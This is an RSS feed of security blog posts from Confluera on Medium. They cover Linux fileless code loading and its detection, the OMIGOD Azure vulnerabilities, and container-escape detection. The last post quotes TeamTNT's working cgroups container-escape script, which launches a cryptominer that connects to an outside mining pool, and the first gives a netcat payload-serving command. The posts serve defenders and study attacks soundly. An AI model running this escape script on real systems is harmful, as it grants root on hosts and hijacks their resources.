<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rex Guo on Medium]]></title>
        <description><![CDATA[Stories by Rex Guo on Medium]]></description>
        <link>https://medium.com/@rex-11050?source=rss-138f8633036e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*oJssekvq2DlebIDSamLo-A.png</url>
            <title>Stories by Rex Guo on Medium</title>
            <link>https://medium.com/@rex-11050?source=rss-138f8633036e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 18:12:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rex-11050/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Reflective Code Loading in Linux — A New Defense Evasion Technique in MITRE ATT&CK v10]]></title>
            <link>https://medium.com/confluera-engineering/reflective-code-loading-in-linux-a-new-defense-evasion-technique-in-mitre-att-ck-v10-da7da34ed301?source=rss-138f8633036e------2</link>
            <guid isPermaLink="false">https://medium.com/p/da7da34ed301</guid>
            <dc:creator><![CDATA[Rex Guo]]></dc:creator>
            <pubDate>Fri, 03 Dec 2021 19:03:28 GMT</pubDate>
            <atom:updated>2021-12-03T19:03:28.562Z</atom:updated>
            <content:encoded><![CDATA[<h3>Reflective Code Loading in Linux — A New Defense Evasion Technique in MITRE ATT&amp;CK v10</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*Mbys1dtuQsMUa8q0NtkpDw.png" /><figcaption>MITRE ATT&amp;CK. Source: <a href="https://attack.mitre.org/">attack.mitre.org</a></figcaption></figure><h3>Summary</h3><p>This blog discusses a Linux <a href="https://attack.mitre.org/techniques/T1620/">reflective code loading</a> technique newly added in the <a href="https://attack.mitre.org/resources/updates/updates-october-2021/#:~:text=The%20October%202021%20(v10)%20ATT%26CK,changes%20released%20in%20ATT%26CK%20v9.">MITRE ATT&amp;CK framework v10</a> update. Our research team contributed this technique to the MITRE ATT&amp;CK organizers to help improve the industry standard.</p><p>Reflective code loading allows threat actors to execute file-based malware without touching the disk! We will discuss how this technique works in Linux and how threat groups use this technique to evade detection.</p><p>In our next blog, we will discuss detections and response to this technique. This blog is co-authored with <a href="https://medium.com/@joel.schopp">Joel Schopp</a>.</p><h3>What is An Anonymous File?</h3><p>Before we dive in to the details of reflective code loading in Linux, we need to understand anonymous files. Linux uses file as a generic abstraction for many underlying interfaces. Linux kernel 3.17 has introduced the memfd_create() system call. memfd_create()creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and it can be modified, truncated, memory-mapped, and so on.</p><p>However, unlike a regular file, it lives in RAM and has volatile backing storage. This means that filesystem scanners can’t scan it. Once all references to the file are dropped, it is automatically released. Anonymous memory is used for all backing pages of the file. Therefore, files created by memfd_create()have the same semantics as other anonymous memory allocations such as those allocated using<a href="https://man7.org/linux/man-pages/man2/mmap.2.html"> </a>mmap() with the MAP_ANONYMOUS flag.</p><h3>Reflective Code Loading in Linux</h3><p>Linux also supports direct execution of an anonymous file in memory by either execve or execveatsystem call. The reflective code loading contains the following steps:</p><ol><li>Creates an anonymous file within the application memory</li><li>Writes file content in the anonymous file</li><li>Executes the anonymous file from the memory</li></ol><p>During reflective code loading, the anonymous does not touch the disk. We will use a simple example to demonstrate the idea. Part of the code is inspired by a 0x00sec<a href="https://0x00sec.org/t/super-stealthy-droppers/3715"> blog</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*WW5SfAuHrHogCodS" /></figure><p>The program primarily performs the following steps:</p><ol><li>Connects to a network socket. For demo purposes, we use localhost and port 1111 as the destination address and port, correspondingly.</li><li>Creates an anonymous file</li><li>Reads file content from the network and write to the file in a loop until the file ends or other error condition happens</li><li>Creates a child process and execute the anonymous file from the child</li></ol><p>Here are the steps to test the reflective code loading:</p><ol><li>Pipe an ELF payload to a netcat listener. For demo purposes, we are just using a simple xeyes binary from Ubuntu distributions.</li></ol><pre>$ cat /usr/bin/xeyes | nc -l $((0x1111))</pre><p>2. Run the above reflective code loading program. If everything works, we can see the program loads and executes. We will also see an xeyes window pops up in the GUI. To view the running process artifacts:</p><pre>$ ps -ef --forest</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/0*ncty52aFfGZ5EtTs" /></figure><p>Note that we can changed the program name to an arbitrary string. We use [kworker/u!0] to demonstrate it is possible to confuse an inexperienced analyst.</p><h3>How is Reflective Code Loading Used by Threat Groups?</h3><p>APT threat group TeamTNT has been using the ezuri loader in the wild to deploy malware. TeamTNT is well known for targeting container and cloud environments. We recommend the readers to this blog from <a href="https://cybersecurity.att.com/blogs/labs-research/malware-using-new-ezuri-memory-loader">AT&amp;T cybersecurity lab</a> for a detailed analysis of the malware.</p><p>The ezuri loader is an<a href="https://github.com/guitmz/ezuri"> open source project</a> that uses the reflective code loading technique we described above. The loader contains a decryption routine before it loads the actual payload. At the actual loading stage, it uses the same technique:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OCKewHBxQrtbH9HI" /></figure><h3>Conclusion:</h3><p>Reflective code loading using anonymous files in Linux is being used by the threat actors actively. Its fileless nature can bypass security tools that are not able to detect and respond to this behavior. MITRE ATT&amp;CK framework has adopted this technique as part of its latest standard.</p><p>Cloud security teams should obtain the capability to detect and respond to such threats and focus on the application behavior sequences. To learn more, please check the <a href="https://rex-11050.medium.com/detection-and-response-for-linux-reflective-code-loading-malware-this-is-how-21f9c7d8a014">second part</a> of this blog.</p><p>Feel free to reach out with any questions you may have through <a href="https://www.confluera.com/contact">contact</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da7da34ed301" width="1" height="1" alt=""><hr><p><a href="https://medium.com/confluera-engineering/reflective-code-loading-in-linux-a-new-defense-evasion-technique-in-mitre-att-ck-v10-da7da34ed301">Reflective Code Loading in Linux — A New Defense Evasion Technique in MITRE ATT&amp;CK v10</a> was originally published in <a href="https://medium.com/confluera-engineering">Confluera Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detection and Response for Linux Reflective Code Loading Malware— This is How]]></title>
            <link>https://medium.com/confluera-engineering/detection-and-response-for-linux-reflective-code-loading-malware-this-is-how-21f9c7d8a014?source=rss-138f8633036e------2</link>
            <guid isPermaLink="false">https://medium.com/p/21f9c7d8a014</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Rex Guo]]></dc:creator>
            <pubDate>Fri, 03 Dec 2021 18:59:48 GMT</pubDate>
            <atom:updated>2021-12-04T06:11:00.724Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7pB-lobhFELlsuHZB-1cQ.png" /><figcaption>Human fighting with virus. source: <a href="http://www.newyorker.com">www.newyorker.com</a></figcaption></figure><p><strong>Summary</strong></p><p>In <a href="https://rex-11050.medium.com/reflective-code-loading-in-linux-a-new-defense-evasion-technique-in-mitre-att-ck-v10-da7da34ed301">part 1</a> of this blog series, we discussed how reflective code loading using anonymous files works in Linux. In this blog, We will dive deeper into how to detect and respond to such behavior. We will also discuss legitimate usage of the anonymous file.</p><p>This blog is co-authored with <a href="https://medium.com/@joel.schopp">Joel Schopp</a>.</p><h3><strong>How to Detect Anonymous File Execution?</strong></h3><p>The ideal scenario is when reflective code loading happens, security teams get notified in real-time and can examine the application behaviors. If the security team does not have such real-time detection capabilities or have to manually respond to such threats, here are a few things the team can do.</p><p>lsof is a utility to list open files in linux. It shows the list of open file descriptors. If the anonymous file is created.</p><pre>$ sudo lsof | head -n 5</pre><pre>COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME</pre><pre>systemd 1 root cwd DIR 8,1 4096 2 /</pre><pre>systemd 1 root rtd DIR 8,1 4096 2 /</pre><pre>systemd 1 root txt REG 8,1 1616248 3675243 /lib/systemd/systemd</pre><pre>systemd 1 root mem REG 8,1 1700792 3670102 /lib/x86_64-linux-gnu/libm-2.27.so</pre><p>lsofis able to list some process attributes of the process that owns the file and also file attributes related to the file. To filter out reflective code loading files, we can run</p><pre>$ sudo lsof | grep memfd<br>…</pre><pre>snapd-gli 2519 2522 alice 6u REG 0,1 67108864 143494 /memfd:pulseaudio (deleted)</pre><pre>gsd-media 2743 alice DEL REG 0,1 146019 /memfd:pulseaudio</pre><pre>gsd-media 2743 alice DEL REG 0,1 143494 /memfd:pulseaudio</pre><pre>gsd-media 2743 alice DEL REG 0,1 145962 /memfd:pulseaudio</pre><pre>gmain 2743 2801 alice DEL REG 0,1 146019 /memfd:pulseaudio</pre><pre>gmain 2743 2801 alice DEL REG 0,1 143494 /memfd:pulseaudio</pre><pre>gmain 2743 2801 alice DEL REG 0,1 145962 /memfd:pulseaudio</pre><pre>gdbus 2743 2802 alice DEL REG 0,1 146019 /memfd:pulseaudio</pre><pre>gdbus 2743 2802 alice DEL REG 0,1 143494 /memfd:pulseaudio</pre><pre>gdbus 2743 2802 alice DEL REG 0,1 145962 /memfd:pulseaudio</pre><pre>dconf\x20 2743 2816 alice DEL REG 0,1 146019 /memfd:pulseaudio</pre><pre>dconf\x20 2743 2816 alice DEL REG 0,1 143494 /memfd:pulseaudio</pre><pre>dconf\x20 2743 2816 alice DEL REG 0,1 145962 /memfd:pulseaudio</pre><pre>4 40215 alice cwd DIR 8,1 4096 403246 /home/alice/memfd_create</pre><pre>4 40215 alice txt REG 0,1 23976 16703995 /memfd:a (deleted)</pre><p>This particular entry listed above looks interesting:</p><pre>COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME</pre><pre>4 40215 alice txt REG 0,1 23976 16703995 /memfd:a (deleted)</pre><p>The NAMEfield represents the path of the file and we can see the anonymous files can be identified by /memfd: .</p><p>The a in/memfd:a (deleted)is from the argument we gave when making the memfd_create() syscall. This field can also be set freely by the application. Please refer to the first part of our blog for the source code of the demo program.</p><p>The FD column indicates that this is aTXT type, i.e., it is a binary being executed.</p><p>These indicators above told us that it is a reflective code loading using anonymous files. What is interesting is the COMMAND column shows 4. This is because when the anonymous file is executed by the child process, the file descriptor is number 4. Using a number as the command for a process is unusual and can be a suspicious indicator. However, one should be aware that an attacker can use prctl to change the command field of a process to something that looks legitimate after executing the anonymous file.</p><h3><strong>How to Respond to Reflective Code Loading?</strong></h3><p>If we identify reflective code loading, the next step is to analyze whether the application behaves maliciously and whether it is a legitimate ELF binary. The former can be achieved with real-time detection tools. For the latter, we can dump the ELF binary directly from the /procfile system. Given the process id that owns the reflectively loaded file is 40125, we can run:</p><pre>$ cat /proc/40215/exe &gt; /tmp/40215_elf</pre><pre>$ file /tmp/40215_elf</pre><pre>40215_elf: ELF 64-bit LSB shared object, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1bc82caf2f0c662f06e0c338e4d4db7d9d610cd0, stripped</pre><p>Since we got the full ELF file, one can analyze it with the traditional binary analysis tool chain.</p><h3><strong>Legitimate use cases of Reflective Code Loading</strong></h3><p>Whenever we discuss attackers’ behaviors, it is always necessary to understand the full picture. I.e., What are the legitimate use cases?</p><p>In fact, reflective code loading has been used to fix a docker security vulnerability. CVE-2019–5736 is a runc vulnerability which allows the attacker to break out of a container. This blog will summarize the vulnerability and focus on discussing how reflective code loading is used to patch security vulnerabilities. For in-depth details of the vulnerability, we recommend this <a href="https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/">blog</a> from Uint42 researchers.</p><p>CVE-2019–5736 allows an attacker to overwrite the host runc binary through symbolic links. The container runtime will be tricked to open the symbolic link in the /proc file system which points to the runc binary. Then the attacker within the container and create a handle to the runc file on the host and therefore overwrite the binary after the runc process exits.</p><p>To prevent this attack, LXC has been patched to create a temporary copy of the calling binary itself when it starts or attaches to containers. To do this LXC creates an anonymous, in-memory file using the memfd_create() system call and copies itself into the temporary in-memory file, which is then sealed to prevent further modifications. LXC then executes this sealed, in-memory file instead of the original on-disk binary. Any compromising write operations from a privileged container to the host LXC binary will then write to the temporary in-memory binary and not to the host binary on-disk, preserving the integrity of the host LXC binary. Also as the temporary, in-memory LXC binary is sealed, writes to this will also fail.</p><p>As we can see, certain applications can use reflective code loading to fix security vulnerabilities and it is essential to understand your operating environments during the analysis.</p><h3><strong>Conclusion</strong></h3><p>We discussed the important artifacts to examine when detecting and responding to reflective code loading. We also described legitimate usages of such reflective code loading.</p><p>Understanding the application behaviors and your own operating environment are critical to investigate and detect such techniques. It will be much more beneficial if one can obtain a sequence of execution behaviors and analyze them in a holistic manner.</p><p>Feel free to reach out with any questions you may have through <a href="https://www.confluera.com/contact">contact</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21f9c7d8a014" width="1" height="1" alt=""><hr><p><a href="https://medium.com/confluera-engineering/detection-and-response-for-linux-reflective-code-loading-malware-this-is-how-21f9c7d8a014">Detection and Response for Linux Reflective Code Loading Malware— This is How</a> was originally published in <a href="https://medium.com/confluera-engineering">Confluera Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detection and Response to OMIGOD Exploitations — Azure OMI Vulnerabilities]]></title>
            <link>https://medium.com/confluera-engineering/detection-and-response-to-omigod-exploitations-azure-omi-vulnerabilities-9a9786286b76?source=rss-138f8633036e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a9786286b76</guid>
            <category><![CDATA[xdr]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[detection-and-response]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Rex Guo]]></dc:creator>
            <pubDate>Wed, 22 Sep 2021 15:30:39 GMT</pubDate>
            <atom:updated>2021-09-23T14:49:31.043Z</atom:updated>
            <content:encoded><![CDATA[<h3>Detection and Response to OMIGOD Exploitations — Azure OMI Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qV4vuNvQjxx314Sq_9jgyQ.jpeg" /><figcaption>Image: <a href="https://www.bleepingcomputer.com/">https://www.bleepingcomputer.com/</a></figcaption></figure><h3>Background</h3><p>Recently, a few vulnerabilities in Azure (named: OMIGOD) were discovered by Wiz’s research team:</p><ul><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647">CVE-2021–38647</a> — Unauthenticated RCE as root (Severity: 9.8)</li><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648">CVE-2021–38648</a> — Privilege Escalation vulnerability (Severity: 7.8)</li><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645">CVE-2021–38645</a> — Privilege Escalation vulnerability (Severity: 7.8)</li><li><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649">CVE-2021–38649</a> — Privilege Escalation vulnerability (Severity: 7.0)</li></ul><p>These vulnerabilities exist in the ubiquitous software agent called<a href="https://github.com/microsoft/omi"> Open Management Infrastructure (OMI)</a>. The OMI package provides a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems. OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances.</p><p>On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC)<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647"> released security patches</a> detailing the findings and the scope of the impact of the four critical vulnerabilities. After Aug. 11, 2021, any system created, or which has updated its OMI package, should automatically be patched according to Microsoft’s security release notes.</p><h3>The Impact of OMIGOD Vulnerabilities</h3><p>On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC)<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647"> released security patches</a> detailing the scope of the impact of the four critical vulnerabilities. After Aug. 11, 2021, any system newly created or systems with updated OMI package, should automatically be patched according to Microsoft’s security release notes.</p><h3>The OMIGOD Vulnerability and Attack</h3><p>Let’s briefly review the vulnerabilities. First of all, the OMI agent runs as root user on Linux. Any user can communicate with it using a UNIX socket or via an HTTP API when configured to allow external access. As a result, the vulnerabilities would allow external users or low-privileged users to remotely execute code on target machines or escalate privileges.</p><p>Three of these vulnerabilities are privilege escalation vulnerabilities, while the fourth vulnerability allows remote code execution (RCE). Some Azure products, including Configuration Management, expose an HTTPS port (port 5986) for interacting with OMI. That’s what makes RCE possible. Note that most Azure services that use OMI deploy it without exposing the HTTPS port.</p><p>An attacker can exploit the RCE (CVE-2021–38647) with a SOAP message payload lacking the authorization header. The root cause is a combination of a simple conditional statement coding mistake and an uninitialized auth struct, any request without an Authorization header has its privileges default to uid=0, gid=0, which is root.</p><p>To exploit the local privilege escalation vulnerability (CVE-2021–38648), the attacker can exploit the authentication protocol within the agent by omitting the initial authentication request and sending the command execution request to gain root command execution. For an in-depth detail, we recommend the in-depth vulnerability <a href="https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure#appendix">blog</a>.</p><h3>Detection and Response to OMIGOD in your environment</h3><p>Microsoft has published a<a href="https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093"> blog</a> to help customers detect potential exploitation if they have auditd log enabled on their Linux machines. The key idea is to look for execve system calls with a working directory (cwd) <em>/var/opt/microsoft/scx/tmp</em> as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*uJ1ZYIBdsRjKJrbfjrf1Ig.png" /><figcaption>Image: <a href="https://techcommunity.microsoft.com/">https://techcommunity.microsoft.com/</a></figcaption></figure><p>We advise Confluera customers to use our threat progression and/or detection capabilities to monitor if any potential exploitation has succeeded as shown below. See <a href="https://medium.com/confluera-engineering/threat-detections-for-container-lateral-movements-and-container-escapes-this-is-how-dc595c6b53cc">Confluera’s container threat detection blog</a> for more examples on threat progressions and how we track attacker activities in customer’s environment. Customers can also view the detailed activities the attacker has performed from the threat progression as well as the process tree information. Additionally, customers can also perform response actions from their progression dashboard to kill the malicious processes.</p><p>See <a href="https://medium.com/confluera-engineering/threat-detections-for-container-lateral-movements-and-container-escapes-this-is-how-dc595c6b53cc">Confluera’s container threat detection blog</a> for more examples on threat progressions and how we track attacker activities in customer’s environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/0*h0c2UW9kUJgc6H02" /><figcaption>Confluera XDR surfaces threat progression for OMIGOD exploitations</figcaption></figure><h3>Conclusion</h3><p>Since December 2020, we have witnessed an unprecedented amount of cyber attacks exploiting the software supply chains. Cloud providers are no exception as they also rely on open source components to perform critical tasks on tenant assets.</p><p>Malicious actors with remote and local access to the system with vulnerable OMI packages running can gain root privilege by exploiting the OMIGOD vulnerabilities. It is recommended that you patched the vulnerability as soon as you can.</p><p>Detection and response solution play a critical role especially in identifying previously unknown supply chain compromises. If you need help stopping OMIGOD in your environment, <a href="https://www.confluera.com/contact">contact us</a> today!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a9786286b76" width="1" height="1" alt=""><hr><p><a href="https://medium.com/confluera-engineering/detection-and-response-to-omigod-exploitations-azure-omi-vulnerabilities-9a9786286b76">Detection and Response to OMIGOD Exploitations — Azure OMI Vulnerabilities</a> was originally published in <a href="https://medium.com/confluera-engineering">Confluera Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Detections for Container Lateral Movements and Container Escapes — This is How]]></title>
            <link>https://medium.com/confluera-engineering/threat-detections-for-container-lateral-movements-and-container-escapes-this-is-how-dc595c6b53cc?source=rss-138f8633036e------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc595c6b53cc</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[container-security]]></category>
            <category><![CDATA[containers]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Rex Guo]]></dc:creator>
            <pubDate>Tue, 22 Jun 2021 15:24:39 GMT</pubDate>
            <atom:updated>2021-06-27T18:40:51.057Z</atom:updated>
            <content:encoded><![CDATA[<h3>Threat Detections for Container Lateral Movements and Container Escapes — This is How</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*pFeybqvAPSSob5_PfVBgmg.jpeg" /><figcaption>A container wide open. source: <a href="https://www.technadu.com/">technadu.com</a></figcaption></figure><h3>Introduction</h3><p>The simplicity and flexibility of microservice architecture has led to an increasing adoption of containers and kubernetes in the cloud. <a href="https://www.gartner.com/en/newsroom/press-releases/2020-06-25-gartner-forecasts-strong-revenue-growth-for-global-co">According to Gartner</a>, more than 75% of global organizations will be running containerized apps in production by 2022.</p><p>As the adoption increases, threat actors are evolving their toolsets to compromise container workloads. Recently, it is reported that 50,000 IPs across multiple Kubernetes clusters were compromised by <a href="https://securityaffairs.co/wordpress/118306/digital-id/kubernetes-clusters-teamtnt.html">TeamTNT</a>.</p><p>Threat actors typically exploit vulnerabilities and/or misconfigurations of the container workloads. They can not only move between containers, but also move between containers and the underlying hosts. Recently, we observed that threat actors such as TeamTNT has developed more sophisticated techniques to perform container escapes.</p><h3>TeamTNT’s Container Escape</h3><p>In the TeamTNT operation we observed, once it gains foothold on a privileged container, it uses a container escape technique similar to the <a href="https://twitter.com/_fel1x/status/1151487053370187776?lang=en">initial POC tweeted</a> by Felix Wilhelm from Google. It abuses the <em>cgroups release_agent</em> feature as shown below:</p><pre>#!/bin/sh<br>mkdir /tmp/cgrp &amp;&amp; mount -t cgroup -o rdma cgroup /tmp/cgrp &amp;&amp; mkdir /tmp/cgrp/x<br>echo 1 &gt; /tmp/cgrp/x/notify_on_release <br>host_path=$(sed -n &#39;s/.*\perdir=\([^,]*\).*/\1/p&#39; /etc/mtab) <br>echo &quot;$host_path/cmd&quot; &gt; /tmp/cgrp/release_agent<br>echo &quot;#!/bin/sh&quot; &gt; /cmd<br>echo &quot;while true; do pkill -9 xmrig; sleep 3; done&quot; &gt;&gt; /cmd<br>chmod a+x /cmd<br>sh -c &#39;echo 0 &gt;/tmp/cgrp/x/cgroup.procs&#39;<br>/nginx --donate-level 0 -o 46.101.19.93:3333 -u &lt;hidden&gt; -p &lt;hidden&gt; --nichehash</pre><p>By using the above script, an attacker is able to break out of the container and execute the <em>cmd </em>script as <strong>root </strong>if the container is ran as a <strong>privileged container. </strong>The <em>nginx </em>binary is actually a cryptocurrency miner. The attacker may used the name <em>nginx </em>to trick the victim into thinking that it’s legitimate web server and evade detections.</p><h3>Container Lateral Movements and Container Escapes</h3><p>Container lateral movements can be classified into three categories:</p><ol><li>Container to host (including container escapes)</li><li>Host to container</li><li>Container to container</li></ol><p>Container escape can be further classified into three categories:</p><ol><li>Escape via configuration abuse</li><li>Escape via kernel vulnerabilities</li><li>Escape via container engine vulnerabilities</li></ol><p>Detecting these activities is critical for detection and response. For example, in the case of container escape, an attacker who escapes the container will likely have access to host resources and other containers on the host.</p><h3>The Confluera Approach</h3><p>While traditional point-based detections show users a sea of independent alerts, Confluera XDR presents real-time threat progressions (a.k.a. incident timeline or attack narrative) to users and significantly improves efficacy. This allows DevSecOps/SOC analysts to quickly identify risk and prioritize risks mitigations by reviewing the logical threat progression instead of investigating the sea of independent alerts.</p><h3>Threat Progression for A Container Escape</h3><p>In this post, we will demonstrate an example of Confluera XDR’s threat progression for containers.</p><p>Let’s look at an example breach involving container escape with <em>cgroups release_agent. </em>This belongs to the<em> “</em>Escape via configuration abuse” category we mentioned above. We will visualize this incident through the lens of the <strong>MITRE</strong><a href="https://attack.mitre.org/"><strong> ATT&amp;CK</strong></a> framework, the de-facto industry standard for the definition and classification of infrastructure wide cyberattacks.</p><p>Our victim environment has a host machines (joe-el8) running a privileged container (the container ID ends with 7a1f40).</p><p>The attacker performed the following actions:</p><ol><li>Exploited a nodejs web application vulnerability on the container and used server processes to create shell processes with command (“<strong>Execution” </strong>technique<strong>)</strong></li><li>Spawned a reverse shell to the C2 server (“<strong>Execution” </strong>technique<strong>)</strong></li><li>Wrote payload to <em>release_agent </em>configuration files (“<strong>Persistence” </strong>technique<strong>)</strong></li><li>Let host execute the malicious payload using <em>release_agent </em>feature (“<strong>Lateral Movement” </strong>technique<strong>)</strong></li><li>Let host execute the abnormal file generated by the container from the host file system as root (“<strong>Privilege Escalation</strong>” technique)</li><li>Ran suspicious network tools <em>netcat </em>in the container (“<strong>Execution” </strong>technique<strong>)</strong></li><li>Spawned a root reverse shell from the host to the container (<strong>“Execution” </strong>technique)</li><li>Accessed the host <em>/etc/shadow</em> file in an abnormal way (<strong>“Credential Access” </strong>technique)</li></ol><p>Confluera detects and captures the sequence of activities into a single threat progression as shown in the screenshot below. Keep in mind that there can be any number of alerts triggered on this host and/or this container by other activities. However, this threat progression will not show those alerts and therefore significantly improves efficacy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1EGN7RkfXDrMLEuJJAq7w.png" /><figcaption>Confluera XDR surfaces threat progression across your entire infrastructure instead of independent alerts</figcaption></figure><h3>Conclusion</h3><p>Malicious actors are becoming more sophisticated and constantly inventing new ways to attack the cloud infrastructure.</p><p>This blog post demonstrates an example of Confluera XDR’s precise execution tracking on attacker’s pre-and post-exploitation behaviors in a container environment.</p><p>Moreover, Confluera XDR detects threat progressions across endpoint, network and cloud. It also prevents successful cyber attacks by coordinating with endpoint, network, and cloud controls.</p><p>Contact us if you would like to know <a href="https://www.confluera.com/product">more</a>.</p><img 